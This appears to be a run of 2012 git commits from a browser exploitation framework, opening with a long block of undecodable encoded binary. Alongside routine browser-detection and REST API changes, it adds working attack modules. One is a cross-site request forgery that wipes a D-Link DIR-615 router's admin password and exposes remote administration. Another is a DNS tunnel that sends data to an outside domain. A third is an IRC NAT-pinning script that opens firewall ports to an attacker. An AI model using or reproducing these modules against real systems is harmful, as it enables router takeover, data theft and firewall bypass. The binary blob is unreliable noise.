zV~CVCp}UKw#L@v1nTIE@Nth@vaV#}@bai(*CiZ1~`OqA7o4E&H3PN$YbYKIni_X|G#=*lxDI8*T*k)%!mi&k+tZ1BV|nCrH0U0PQe2uy)`L3RtK>W2=7YaGSmM4 zKGEgv8WJAavp3T*Kj-VeQ{i#ccGa(0bz`NJD_F&~QL-YI^)*Wd=6`YK*a$pG+w%!r z30cBpSwCr-vuiNshYag+_02On{(8gdon4EY#vf=G;Qcx#B9|d7nqUEw9eB&U%9iwp zEO&HGRkFs#U6lQs@qJRj!3c~LpvA-C*`oP(}PRqSS`#E#pw`TibUnq`TLuByOR_d*cZg2G=dUN^2X z&(qyMz;fet;~`YUH7a=HGHlFE+R~{4GHDU(Xy(ke%19f_#JvM(MrH)|BXr^c!f#?V zv5&vs1}mR(`b7NvWMUX+lmXTq8kwT;8`r$x$l#yYESKpXB?J5cUS8VxB z?ZTWE6g|LMTcpRn9cx-X5p5SfzG`>BF|>8KRQbf!3H7VYe6c-X`}d5%<5ty@Y<&YD z?%ZA7QO9SnXMBTNjP7rRtRc5)+z6WBhBM2M3Sj4fKTLTN}TpEVz7t&b( z;Nd*o>3DG!27(y|+4#Ny<6F7Xxs?nYFAg_Fn}wju)gskzcPOanu;0W9V-mE#wDiRm5YDar^oOEZT(a8;UrWm7-u!J? zxFB0$kqVc->Rx05H(pP8tzxLDZ@eRX=&?R6Y|H*6S=sL#sFt3THKt?b#iJ-E3N?$K z(W6f7>!W%$@6{GXPyZ7Lgsb$x7e{68_Or6Y!IIvGN2tfD(XS>wH1K0PSW+B~AV}hM z$gx4Ahgapp-v|Wie#gfSMvNnU&U|d~8J|t>Bo9}wcy^A{5EL^j9ZvtG0k3b8qe@0> z%yRIlqK>`1JF`@-_-FObY9_Z01+B+kRsBrt*BWF6qQ4C~i2J$A6ejq&>ix*ZSO^UJ zVMDXv;d3&2Q1l=8&<}amp;c)P#7T4*j{j4&%opw(Y;V|lr0fH0MTdHg4d#{OWvR2t zKEI>{V*}&2Rpe+UM2bm9Kl)b>a%C-`ON>UoADsxwpw{MpSLraC-7IuGZ1$ZEOcb6) zEPuuAdTj69I}H1s*wOT3h6$K3OSR}AiXm=ooTCjZU7#+re5LtbIYL-}&^6rBScr7Q zrUIw_ncfs_6n+gL^PfQB^_ycU9F1xr&8{x}S-UrOS{cj*F%o1pohdDRc^=#Z9b^R} zHJ?C%l;1>1VrB|>0@%`=H}PZ>ojgTE`$DkNutqfDT9Hc1Yr|;bjBc1K(zet)P2I%W zW)H@gebu?*NXtpwI#!d@HOrW=AJTLRUXeWf+J1dMUoUGW1zVH7?{NWxF6+{5GX&8r z=*gJ!Dt^48t5sX^TTCXhe9luIJlOgh5z1H;9EY2AaAeILgSTHDXo;QnO_MU`(}NaslE#v^IB8K4kTo{|M<;hp+?Cd)&^z-(9GGa+Lj z3UKfgP9~OmPtE#HZw=7ct>N}TL7kl|)hS%u-t}Q6c$5QSpKOzEK=^%ghs+(Wp&npD z)rE(ro~P0KUdxT2b$9O1;o%?WAR$0=cvj_e|C4RmpqoCU?a`cD9n|#6VD9oV{ar4vy`&j1J`^L+!((oj!2uH zhGPzdpKqzW+$mBmcD18 zxm0J>Eo4Y6zO?h((*jRiiTwdYmxTn~&1@oaX|XNvV9#WEvBiI98g-x8A%mF;sOzM$ zFl-d-4x@q=izXRqKYyil)}vF24)s)ma!xutRWX1j%cYSQfU6du4J@5D!wEKfxyrrJ z;Crv|dU6~*UG|F30;On3WiV0#O-kY5$z|>(9%m7GWzM1ioUJ4(W9F7%H+vy2R1g-_ zYjTRY3|i_KyOL)b@p!;^j61P?6V*%hOpZ0C{=0H9(1Rv(mDd8i2>ZvfD$!o05?;}JX+PKyH6>U@~ic+r;YmPJZ-d+)ei%%xL z%eC4E*;b)0(q}quw))XK(f8($>&q1tBPEnE?h58~6#heSUB6ef>ACOC#dsc&Os#k5 z7_rI)JF$FYxk1wK@qht0TL`2DnQO0xL42XN|MYf*`!gx_Sb)k@N5q}(vvFlG#z7!v zu~>18^?ESb6AJm67YmzYNx~MwOyCcL7O=B?TaqA?@a_H6V}A3M+L%?tRxX-oJoCrCm~m8YG*^E_o}`G z@gxKA5^mDy48BtjA3_~2KlUx7kmg!fEp7+K{kYlfqOO(c%|aC3k5=uRZm+}`ogNMm zWkww>mOr(t#HC-o;%}(h=sWWC10^t^qkdlT5kg74>Uf|$kgrMkw5QYRP!ZBbd|2?f zJa=tq6AjfR$G(cxa;;`|MpV2;leT3~E+M1VEx1O%uktx@6vN7AusPQ7I$1RpCRIX6 z45y1|Ik*U!wR_&urrr2~MWfQQ*+dDF!zE6?mlz|3hS|e{GPZH)Fji+0 z4Qg?|@PjAR^TlP^Y$G=}edud=v<1Hg+Sa5);CLpjc_!r|HB0|Y zHa-)_v&f8$lD=;@h%(-n`p=Wx6xJv14J&>K>kcO}IUPu&2i`e4 zxB&fxJ+yUwLMX`noF+4zbs$u9@$6-pg3?;}9+QNQ5GfHVi7-+zy|u}aBc{96D-OnD zIks!=K2veURv=S#adN@O1pqc|y^^y8nREMH!-<1c)qJ#Ov!sgAVVTtsUby zIjvb`sn8*CsO;_#e0|!vB}7FI96q4a;Kd~4SNEgMIQjg@nLVdSbZaA|R#ju4WpAB&2LAP`&Q z6Y@%3r9@8b8CzDPlEJ2G{U;InCyBG0Y$jOQY{%^RTzo$)jWyza6=~;~8h`nkvr|za zz|WX5{Js3WV)8C6?to~~h!K8;$yWJz`mtNLk5atfRad`}IkM^U;^H93Y}rFO`q|XS z3IUsVE!XQ=>?fL}f2;{`nPQnKn`-4{?Ac|+Je4%hX6J_!t6F_GhfRufo@eD|#>z$) zph~oA#JY#!ztH({!@=25C^Yc4$kF@IWwF^Cm1QD+bqnks$44=Xuvxn3BJJvfmA+7{ z5(vM06>-s=Tef1`bkRN5mWoisl>o zMvbPq)hSBr<0Ye~oTX|Tz3;A$WUsgWBGG@0Diz}@rP8xLFXPggHD%l2sp2NxBt2GMtFe9+# zg_ZWII-NwxiDI)C(zjHH#?eBFKxh~q?-)v6#%85y>j-nPUe{xq`Sa({PL$j??^fm550yA zkci_vglw;wVyOCHN2)%{|BAP+YsDoXAiyWUl=R?U{8Ix6eF+UUtR3 z=`M?Yk@pG@Df3U9ysw!XVH*3*qWoLtR@Y-)@^Ue}TCCfpKDF=Sj4XT;M+V1!jKXG+ zjcC{LbMT@^k4XION|h110;EGed2v>XAC9y4whF!20L=ke^uN=*RGr)}O5xSu3%^5} zGQlqIO#<|NTN6kCe!CN&Tb`}*MTrsm`Mqca_+rb)etr7&UZv4Tp|>tce$!=_;TNUo zzR}X=z*hcW*?miI+4f)gPs{%dhZetSm3RM7%EY?St^ZfR^<;m`{!jjI9{)R;|MvR- g@A^Wa62;YtK~Z55gXHcm$3S0d%Gyem3KpUN1L6@UO#lD@ From cc29a4434ff8cde3f89511ca127a8b098fed9f76 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Thu, 28 Jun 2012 09:53:59 +0100 Subject: [PATCH 034/225] Added PAssword wipe XSRF for Dlink DIR-615 (issue #711) --- .../dlink_dir_615_wipe_passwd/command.js | 39 +++++++++++++++++++ .../dlink_dir_615_wipe_passwd/config.yaml | 25 ++++++++++++ .../dlink_dir_615_wipe_passwd/module.rb | 28 +++++++++++++ 3 files changed, 92 insertions(+) create mode 100644 modules/exploits/router/dlink_dir_615_wipe_passwd/command.js create mode 100644 modules/exploits/router/dlink_dir_615_wipe_passwd/config.yaml create mode 100644 modules/exploits/router/dlink_dir_615_wipe_passwd/module.rb diff --git a/modules/exploits/router/dlink_dir_615_wipe_passwd/command.js b/modules/exploits/router/dlink_dir_615_wipe_passwd/command.js new file mode 100644 index 000000000..2dc496f3a --- /dev/null +++ b/modules/exploits/router/dlink_dir_615_wipe_passwd/command.js @@ -0,0 +1,39 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + var gateway = '<%= @base %>'; + + var dir615_iframe = beef.dom.createIframeXsrfForm(gateway + "tools_admin.php", "POST", + [{'type':'hidden', 'name':'ACTION_POST', 'value':'1'} , + {'type':'hidden', 'name':'apply', 'value':'Save Settings'}, + {'type':'hidden', 'name':'admin_name', 'value':'admin'}, + {'type':'hidden', 'name':'admin_password1', 'value':''}, + {'type':'hidden', 'name':'admin_password2', 'value':''}, + {'type':'hidden', 'name':'rt_enable', 'value':'on'}, + {'type':'hidden', 'name':'rt_enable_h', 'value':'1'}, + {'type':'hidden', 'name':'rt_ipaddr', 'value':'0.0.0.0'}, + {'type':'hidden', 'name':'rt_port', 'value':'8080'} + ]); + + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); + + cleanup = function() { + document.body.removeChild(dir615_iframe); + } + setTimeout("cleanup()", 15000); + +}); + diff --git a/modules/exploits/router/dlink_dir_615_wipe_passwd/config.yaml b/modules/exploits/router/dlink_dir_615_wipe_passwd/config.yaml new file mode 100644 index 000000000..f423bbe28 --- /dev/null +++ b/modules/exploits/router/dlink_dir_615_wipe_passwd/config.yaml @@ -0,0 +1,25 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + dlink_dir_615_wipe_passwd: + enable: true + category: ["Exploits", "Router"] + name: "D-Link DIR-615 Password Wipe" + description: "Attempts to wipe the password of the admin user on a D-Link DIR-615 router." + authors: ["antisnatchor"] + target: + working: ["ALL"] diff --git a/modules/exploits/router/dlink_dir_615_wipe_passwd/module.rb b/modules/exploits/router/dlink_dir_615_wipe_passwd/module.rb new file mode 100644 index 000000000..5d737de2e --- /dev/null +++ b/modules/exploits/router/dlink_dir_615_wipe_passwd/module.rb @@ -0,0 +1,28 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Dlink_dir_615_wipe_passwd < BeEF::Core::Command + + def self.options + return [ + {'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.0.1/'} + ] + end + + def post_execute + save({'result' => @datastore['result']}) + end + +end From 2ef1492eedfd368ea9d0fd55e0c59f71a2598a2b Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Thu, 28 Jun 2012 09:55:44 +0100 Subject: [PATCH 035/225] Added comment in config.yaml for #711 --- modules/exploits/router/dlink_dir_615_wipe_passwd/config.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/router/dlink_dir_615_wipe_passwd/config.yaml b/modules/exploits/router/dlink_dir_615_wipe_passwd/config.yaml index f423bbe28..351db548f 100644 --- a/modules/exploits/router/dlink_dir_615_wipe_passwd/config.yaml +++ b/modules/exploits/router/dlink_dir_615_wipe_passwd/config.yaml @@ -19,7 +19,7 @@ beef: enable: true category: ["Exploits", "Router"] name: "D-Link DIR-615 Password Wipe" - description: "Attempts to wipe the password of the admin user on a D-Link DIR-615 router." + description: "Attempts to wipe the password of the admin user on a D-Link DIR-615 router. Enable also remote administration on 0.0.0.0:8080" authors: ["antisnatchor"] target: working: ["ALL"] From b89ff04930d8aa29c7510fe7ecbab3c96ca0f1d5 Mon Sep 17 00:00:00 2001 From: qswain2 Date: Thu, 28 Jun 2012 06:44:27 -0400 Subject: [PATCH 036/225] Fixed accidental removal of are init call in init.js --- core/main/client/init.js | 2 ++ 1 file changed, 2 insertions(+) diff --git a/core/main/client/init.js b/core/main/client/init.js index dfd0f9dcc..b098d1550 100644 --- a/core/main/client/init.js +++ b/core/main/client/init.js @@ -66,6 +66,7 @@ function beef_init() { beef.net.browser_details(); beef.updater.execute_commands(); beef.logger.start(); + beef.are.init(); } else { @@ -73,6 +74,7 @@ function beef_init() { beef.updater.execute_commands(); beef.updater.check(); beef.logger.start(); + beef.are.init(); } } From e54ec1e56931ff14a298318a1ad8eca568db1414 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Thu, 28 Jun 2012 13:28:18 +0100 Subject: [PATCH 037/225] Updated authors, sorry dude (n0x00). issue #711 --- modules/exploits/router/dlink_dir_615_wipe_passwd/config.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/router/dlink_dir_615_wipe_passwd/config.yaml b/modules/exploits/router/dlink_dir_615_wipe_passwd/config.yaml index 351db548f..28e9b7bf0 100644 --- a/modules/exploits/router/dlink_dir_615_wipe_passwd/config.yaml +++ b/modules/exploits/router/dlink_dir_615_wipe_passwd/config.yaml @@ -20,6 +20,6 @@ beef: category: ["Exploits", "Router"] name: "D-Link DIR-615 Password Wipe" description: "Attempts to wipe the password of the admin user on a D-Link DIR-615 router. Enable also remote administration on 0.0.0.0:8080" - authors: ["antisnatchor"] + authors: ["antisnatchor","n0x00"] target: working: ["ALL"] From b7126c2fe3b5fe2854cbabdf0287eef475eb4f43 Mon Sep 17 00:00:00 2001 From: bcoles Date: Thu, 28 Jun 2012 21:46:48 +0930 Subject: [PATCH 038/225] Updated DNS Tunnel module description Fixes issue #709 --- modules/ipec/dns_tunnel/command.js | 17 ++++++----------- modules/ipec/dns_tunnel/config.yaml | 2 +- 2 files changed, 7 insertions(+), 12 deletions(-) diff --git a/modules/ipec/dns_tunnel/command.js b/modules/ipec/dns_tunnel/command.js index f2b6040fe..87018dba3 100644 --- a/modules/ipec/dns_tunnel/command.js +++ b/modules/ipec/dns_tunnel/command.js @@ -14,16 +14,16 @@ // limitations under the License. // /* -Poor man's omni-directional DNS tunnel in JavaScript. +Poor man's unidirectional DNS tunnel in JavaScript. The largely-untested, highly experimental first draft. How it works: A remote domain with a DNS server configured to accept wildcard subdomains is required to receive the data. BeEF does not support this feature so you're on your own when it comes to decoding the information. -A domain and message are taken as input. The message is XOR'd, url encoded, the "%" are replaced with "." and the message is split into segments of 230 bytes. The queries are sent in sequence however there are plans to randomize the order. +A domain and message are taken as input. The message is XOR'd, url encoded, the "%" are replaced with "." and the message is split into segments of 230 bytes. The segments are sent in sequence however there are plans to randomize the order. -To allow the original message to be pieced back together each message is allocated an id and each DNS query is given a sequence number. The final domain name used in the query is structured as follows: +To allow the original message to be pieced back together each message is allocated an id and each DNS query is given a sequence number. The final domain name used in the DNS query is structured as follows: MESSAGE_ID.SEGMENT_SEQUENCE_NUMBER.TOTAL_SEGMENTS.XOR_KEY.MESSAGE_SEGMENT.REMOTE_DOMAIN @@ -37,15 +37,10 @@ o Domain names are limited to 255 characters in length (including dots) o The name space has a maximum depth of 127 levels (ie, maximum 127 subdomains) o Subdomains are limited to 63 characters in length (including the trailing dot) -Each query is sent by appending an image to the DOM containing the query as the image source. The images are later destroyed. - -Features: -o Does not use DNS pre-fetching - The downside is that the requests will take a while to timeout unless the DNS server is configured to reply with NXDOMAIN (ie, blackholed) for all requests. -o Encryption - Uses very weak "encryption" (XOR) and the key is transferred with the request. -o Randomization - Each segment is given a sequence id. TODO: Send segments in a random order. +Each segment is sent by appending an image to the DOM containing the query as the image source. The images are later destroyed. Caveats: -o Omni-directional - Data can only be sent one way. +o Unidirectional - Data can only be sent one way. o Message size - Limited to messages less than 64KB in length. o Limited by JavaScript strings. Byte code needs to be converted to a compatible string before it can be sent. There's also lots of wasted space. Converting to hex would be much cleaner and would save a few bytes for each query. o Throttling - There is no throttling. The browser may only initiate x amount of simultaneous connections. The requests should be throttled to avoid hitting the cap. TODO: Introduce a wait delay between each request to partially account for this. @@ -64,7 +59,7 @@ beef.execute(function() { var domain = "<%= @domain %>"; var message = "<%= @message %>"; - beef.net.dns.send(msgId, message, domain, wait, function(num) { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'dns_requests='+num) } ); + beef.net.dns.send(msgId, message, domain, wait, function(num) { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'dns_requests='+num+' requests sent') } ); }); diff --git a/modules/ipec/dns_tunnel/config.yaml b/modules/ipec/dns_tunnel/config.yaml index 81404dbd1..a38f166a7 100644 --- a/modules/ipec/dns_tunnel/config.yaml +++ b/modules/ipec/dns_tunnel/config.yaml @@ -19,7 +19,7 @@ beef: enable: true category: "IPEC" name: "DNS Tunnel" - description: "Sends data over DNS to a server which accepts wildcard subdomains." + description: "This module sends data one way over DNS.

A domain and message are taken as input. The message is XOR'd, url encoded, the '%' are replaced with '.' and the message is split into segments of 230 bytes. The segments are sent in sequence along with the sequence number and XOR key.

Note: A remote domain with a DNS server configured to accept wildcard subdomains is required to receive the data. BeEF does not support this feature so you're on your own when it comes to decoding the information." authors: ["bcoles"] target: working: "All" From 29ba7dbf385e6049208167a72c1aeedfed57526a Mon Sep 17 00:00:00 2001 From: bcoles Date: Fri, 29 Jun 2012 08:42:21 +0930 Subject: [PATCH 039/225] Added spaces to two config.yaml files Fixes bug with parsing yaml on some versions of Ruby --- extensions/evasion/config.yaml | 2 +- modules/exploits/router/dlink_dir_615_wipe_passwd/config.yaml | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/extensions/evasion/config.yaml b/extensions/evasion/config.yaml index b708a9ecb..c75031da8 100644 --- a/extensions/evasion/config.yaml +++ b/extensions/evasion/config.yaml @@ -25,4 +25,4 @@ beef: beef: "beef" Beef: "Beef" evercookie: "evercookie" - chain: ["scramble","minify","base_64"] \ No newline at end of file + chain: ["scramble", "minify", "base_64"] diff --git a/modules/exploits/router/dlink_dir_615_wipe_passwd/config.yaml b/modules/exploits/router/dlink_dir_615_wipe_passwd/config.yaml index 28e9b7bf0..e1e22073f 100644 --- a/modules/exploits/router/dlink_dir_615_wipe_passwd/config.yaml +++ b/modules/exploits/router/dlink_dir_615_wipe_passwd/config.yaml @@ -20,6 +20,6 @@ beef: category: ["Exploits", "Router"] name: "D-Link DIR-615 Password Wipe" description: "Attempts to wipe the password of the admin user on a D-Link DIR-615 router. Enable also remote administration on 0.0.0.0:8080" - authors: ["antisnatchor","n0x00"] + authors: ["antisnatchor", "n0x00"] target: working: ["ALL"] From 9fdd8bc8197c3ff77a2f30876266d3e81944de17 Mon Sep 17 00:00:00 2001 From: bcoles Date: Fri, 29 Jun 2012 13:41:05 +0930 Subject: [PATCH 040/225] Added support for Chrome 20 --- core/main/client/browser.js | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/core/main/client/browser.js b/core/main/client/browser.js index 2e82f5de6..c27ced832 100644 --- a/core/main/client/browser.js +++ b/core/main/client/browser.js @@ -332,12 +332,20 @@ beef.browser = { return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==19)?true:false); }, + /** + * Returns true if Chrome 20. + * @example: beef.browser.isC20() + */ + isC20: function() { + return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==20)?true:false); + }, + /** * Returns true if Chrome. * @example: beef.browser.isC() */ isC: function() { - return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16()|| this.isC17() || this.isC18() || this.isC19(); + return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16()|| this.isC17() || this.isC18() || this.isC19() || this.isC20(); }, /** @@ -404,6 +412,7 @@ beef.browser = { C17: this.isC17(), // Chrome 17 C18: this.isC18(), // Chrome 18 C19: this.isC19(), // Chrome 19 + C20: this.isC20(), // Chrome 20 C: this.isC(), // Chrome any version FF2: this.isFF2(), // Firefox 2 @@ -463,6 +472,7 @@ beef.browser = { if (this.isC17()) { return '17' }; // Chrome 17 if (this.isC18()) { return '18' }; // Chrome 18 if (this.isC19()) { return '19' }; // Chrome 19 + if (this.isC20()) { return '20' }; // Chrome 20 if (this.isFF2()) { return '2' }; // Firefox 2 if (this.isFF3()) { return '3' }; // Firefox 3 From 3784cc4e37adb3f81ce8eb589e46c99cf29795a7 Mon Sep 17 00:00:00 2001 From: bmantra Date: Sat, 30 Jun 2012 11:56:21 +0200 Subject: [PATCH 041/225] Updated description --- modules/network/nat_pinning_irc/command.js | 58 ++++++++------------- modules/network/nat_pinning_irc/config.yaml | 2 +- 2 files changed, 23 insertions(+), 37 deletions(-) diff --git a/modules/network/nat_pinning_irc/command.js b/modules/network/nat_pinning_irc/command.js index 1d2a136c7..7debb8fe8 100644 --- a/modules/network/nat_pinning_irc/command.js +++ b/modules/network/nat_pinning_irc/command.js @@ -22,47 +22,33 @@ beef.execute(function() { var d = dot.split('.'); return (((+d[0])*256+(+d[1]))*256+(+d[2]))*256+(+d[3]); } + + var myIframe = beef.dom.createInvisibleIframe(); + var myForm = document.createElement("form"); + var action = connectto + ":6667/" - //send a request - function send_msg(privateip,privateport,connectto){ + myForm.setAttribute("name", "data"); + myForm.setAttribute("method", "post"); + //it must be multipart/form-data so the message appears on separate line + myForm.setAttribute("enctype", "multipart/form-data"); + myForm.setAttribute("action", action); + - //create hidden iFrame - var iframe = document.createElement("iframe"); - iframe.setAttribute("id","irc_nat_pinning_<%= @command_id %>"); - iframe.setAttribute("style", "visibility:hidden; width:1px; height: 1px;"); - document.body.appendChild(iframe); - iframe = document.getElementById("irc_nat_pinning_<%= @command_id %>"); + //create message, refer Samy Kamkar (http://samy.pl/natpin/) + x = String.fromCharCode(1); + var s = 'PRIVMSG beef :'+x+'DCC CHAT beef '+dot2dec(privateip)+' '+privateport+x+"\n"; + //create message textarea + var myExt = document.createElement("textarea"); + myExt.setAttribute("id","msg_<%= @command_id %>"); + myExt.setAttribute("name","msg_<%= @command_id %>"); + myForm.appendChild(myExt); + myIframe.contentWindow.document.body.appendChild(myForm); - //create form - var action = connectto + ":6667/" - var myform = document.createElement("form"); - myform.setAttribute("name", "data"); - myform.setAttribute("method", "post"); - myform.setAttribute("enctype", "multipart/form-data"); - myform.setAttribute("action", action); - iframe.contentWindow.document.body.appendChild(myform); - - //create message, refer Samy Kamkar (http://samy.pl/natpin/) - x = String.fromCharCode(1); - var s = 'PRIVMSG beef :'+x+'DCC CHAT beef '+dot2dec(privateip)+' '+privateport+x+"\n"; - - //create message textarea - var myExt = document.createElement("textarea"); - myExt.setAttribute("id","msg_<%= @command_id %>"); - myExt.setAttribute("name","msg_<%= @command_id %>"); - myform.appendChild(myExt); - - //send message - iframe.contentWindow.document.getElementById("msg_<%= @command_id %>").value = s; - myform.submit(); - alert(s); + //send message + myIframe.contentWindow.document.getElementById("msg_<%= @command_id %>").value = s; + myForm.submit(); - //clean up - setTimeout('document.body.removeChild(document.getElementById("irc_nat_pinning_<%= @command_id %>"));', 15000); - } - - send_msg(privateip,privateport,connectto); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Message sent'); }); diff --git a/modules/network/nat_pinning_irc/config.yaml b/modules/network/nat_pinning_irc/config.yaml index 456404221..a44e71913 100644 --- a/modules/network/nat_pinning_irc/config.yaml +++ b/modules/network/nat_pinning_irc/config.yaml @@ -19,7 +19,7 @@ beef: enable: true category: "Network" name: "IRC NAT Pinning" - description: "Attempts to open closed ports on statefull firewalls and attempts to create pinholes on NAT-devices. The firewall/NAT-device must support IRC connection tracking. On the attackers side the TCP connection just needs to be accepted. Then you can connect to the victims public IP on that port. For more information, please refer to: http://samy.pl/natpin/ ." + description: "Attempts to open closed ports on statefull firewalls and attempts to create pinholes on NAT-devices. The firewall/NAT-device must support IRC connection tracking. On the attackers side the TCP connection just needs to be accepted (nc -l -p 6667). Then you can connect to the victims public IP on that port. For the moment it hasn't been tested with NAT, but it works with iptables when ip_conntrack and ip_conntrack_irc are loaded. For more information, please refer to: http://samy.pl/natpin/ ." authors: ["Bart Leppens"] target: working: ["FF"] From b784710ca9521dca25678500c5819a22172555ad Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Sat, 30 Jun 2012 15:42:03 +0100 Subject: [PATCH 042/225] Added detection of Opera 12.x (still beta) --- core/main/client/browser.js | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/core/main/client/browser.js b/core/main/client/browser.js index c27ced832..f985874f1 100644 --- a/core/main/client/browser.js +++ b/core/main/client/browser.js @@ -380,12 +380,20 @@ beef.browser = { return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/11\./) != null)); }, + /** + * Returns true if Opera 12.xx. + * @example: beef.browser.isO12() + */ + isO12: function() { + return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/12\./) != null)); + }, + /** * Returns true if Opera. * @example: beef.browser.isO() */ isO: function() { - return this.isO9_52() || this.isO9_60() || this.isO10() || this.isO11(); + return this.isO9_52() || this.isO9_60() || this.isO10() || this.isO11() || this.isO12(); }, /** @@ -441,6 +449,7 @@ beef.browser = { O9_60: this.isO9_60(), // Opera 9.60 through 9.64 O10: this.isO10(), // Opera 10.xx O11: this.isO11(), // Opera 11.xx + O12: this.isO12(), // Opera 11.xx O: this.isO(), // Opera any version S4: this.isS4(), // Safari 4.xx @@ -501,6 +510,7 @@ beef.browser = { if (this.isO9_60()) { return '9.6'}; // Opera 9.6 if (this.isO10()) { return '10' }; // Opera 10.xx if (this.isO11()) { return '11' }; // Opera 11.xx + if (this.isO12()) { return '12' }; // Opera 12.xx return 'UNKNOWN'; // Unknown UA }, From 3aadf6fa754f66f345ed3880500e04adb6be2455 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Sat, 30 Jun 2012 16:00:31 +0100 Subject: [PATCH 043/225] Issue #556 : the RESTful api call to retrieve HBs now returns also the ID of the HB --- core/main/rest/handlers/hookedbrowsers.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/core/main/rest/handlers/hookedbrowsers.rb b/core/main/rest/handlers/hookedbrowsers.rb index 6976dda05..f0ecf6bbd 100644 --- a/core/main/rest/handlers/hookedbrowsers.rb +++ b/core/main/rest/handlers/hookedbrowsers.rb @@ -76,11 +76,12 @@ module BeEF details = BeEF::Core::Models::BrowserDetails { + 'id' => hb.id, + 'session' => hb.session, 'name' => details.get(hb.session, 'BrowserName'), 'version' => details.get(hb.session, 'BrowserVersion'), 'os' => details.get(hb.session, 'OsName'), 'platform' => details.get(hb.session, 'SystemPlatform'), - 'session' => hb.session, 'ip' => hb.ip, 'domain' => details.get(hb.session, 'HostName'), 'port' => hb.port.to_s, From 5d47739c71c377f2d88dac01d68cc880c98a2a5d Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Sat, 30 Jun 2012 18:33:51 +0100 Subject: [PATCH 044/225] Issue #556 : added RESTful api endpoint /api/modules/multi --- core/main/rest/handlers/modules.rb | 44 ++++++++++++++++++++++++++++++ 1 file changed, 44 insertions(+) diff --git a/core/main/rest/handlers/modules.rb b/core/main/rest/handlers/modules.rb index 7addcf623..89cb3830b 100644 --- a/core/main/rest/handlers/modules.rb +++ b/core/main/rest/handlers/modules.rb @@ -141,6 +141,50 @@ module BeEF error 400 # Bad Request end end + + #@note Fire a new command module to multiple hooked browsers. + # POST request body example (for modules that don't need parameters, just remove "mod_params") + # { + # "mod_id":1, + # "mod_params":{ + # "question":"are you hooked?" + # }, + # "hb_ids":[1,2] + # } + # curl example (alert module with custom text, 2 hooked browsers)): + #curl -H "Content-Type: application/json; charset=UTF-8" -d '{"mod_id":110,"mod_params":{"text":"mucci?"},"hb_ids":[1,2]}' + #-X POST http://127.0.0.1:3000/api/modules/multi?token=2316d82702b83a293e2d46a0886a003a6be0a633 + post '/multi' do + request.body.rewind + begin + body = JSON.parse request.body.read + + modk = BeEF::Module.get_key_by_database_id body["mod_id"] + error 404 unless modk != nil + mod_params = [] + + if body["mod_params"] != nil + body["mod_params"].each{|k,v| + mod_params.push({'name' => k, 'value' => v}) + } + end + + hb_ids = body["hb_ids"] + hb_ids.each do |hb_id| + hb = BeEF::Core::Models::HookedBrowser.first(:id => hb_id) + next if hb == nil + exec_results = BeEF::Module.execute(modk, hb.session, mod_params) + #todo add exec results to a json for the final response + end + + #todo return a json with the execution result for every module + #exec_results = BeEF::Module.execute(modk, params[:session], mod_params) + #exec_results != nil ? '{"success":"true","command_id":"'+exec_results.to_s+'"}' : '{"success":"false"}' + rescue Exception => e + print_error "Invalid JSON input for module '#{params[:mod_id]}'" + error 400 # Bad Request + end + end end end end From bd6065eff91fd8ae9dc3e6dd202e4c5de87e882b Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Sat, 30 Jun 2012 18:38:25 +0100 Subject: [PATCH 045/225] Issue #556 : updated exception error message --- core/main/rest/handlers/modules.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/main/rest/handlers/modules.rb b/core/main/rest/handlers/modules.rb index 